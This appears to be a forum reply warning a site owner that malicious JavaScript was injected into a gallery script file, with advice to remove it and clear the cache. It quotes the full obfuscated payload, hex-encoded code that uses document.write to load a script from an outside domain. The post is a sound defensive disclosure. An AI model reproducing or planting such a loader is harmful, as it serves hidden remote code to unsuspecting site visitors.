There's malicious JavaScript injected into the file
http://www.sims4ever.de/highslide/hi...ith-gallery.js on the very last line.
HTML Code:
var _0x4438=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x73\x74\x69\x2E\x67\x61\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0x71be=[_0x4438[0],_0x4438[1]];var _0x6675=[_0x71be[0],_0x71be[1]];document[_0x6675[1]](_0x6675[0])
https://i.imgur.com/MKlZMi4.png
Remove that from the file, clear the cache and you should hopefully be fine.